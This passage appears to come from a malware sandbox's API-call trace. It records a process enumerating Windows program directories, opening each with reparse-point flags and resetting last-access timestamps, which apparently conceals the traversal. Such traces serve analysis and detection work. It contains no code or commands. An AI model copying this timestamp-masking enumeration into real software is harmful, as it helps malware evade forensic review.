"c:\\program files (x86)\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.196] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.197] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US" (normalized: "c:\\program files (x86)\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.197] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.197] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.197] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons" (normalized: "c:\\program files (x86)\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.198] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.198] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files (x86)\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.198] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.198] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files (x86)\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.225] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.225] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.225] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins" (normalized: "c:\\program files (x86)\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.225] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.225] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" (normalized: "c:\\program files (x86)\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.226] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.226] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT" (normalized: "c:\\program files (x86)\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.226] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.226] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories" (normalized: "c:\\program files (x86)\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.242] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.242] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.242] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.242] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.243] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.243] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.276] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.277] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.277] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer" (normalized: "c:\\program files (x86)\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.289] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.289] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.293] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.293] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices" (normalized: "c:\\program files (x86)\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.293] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.293] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar" (normalized: "c:\\program files (x86)\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.294] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.294] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.343] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.343] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.343] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.344] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.354] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.364] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.364] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.365] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.365] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.383] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.383] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.384] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.384] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.384] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.384] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.433] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.433] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.479] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.479] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.482] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.482] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.483] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.483] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.483] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.483] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.566] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.566] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.567] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.567] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.568] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.568] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.568] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.568] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.569] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.569] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.572] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.572] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: 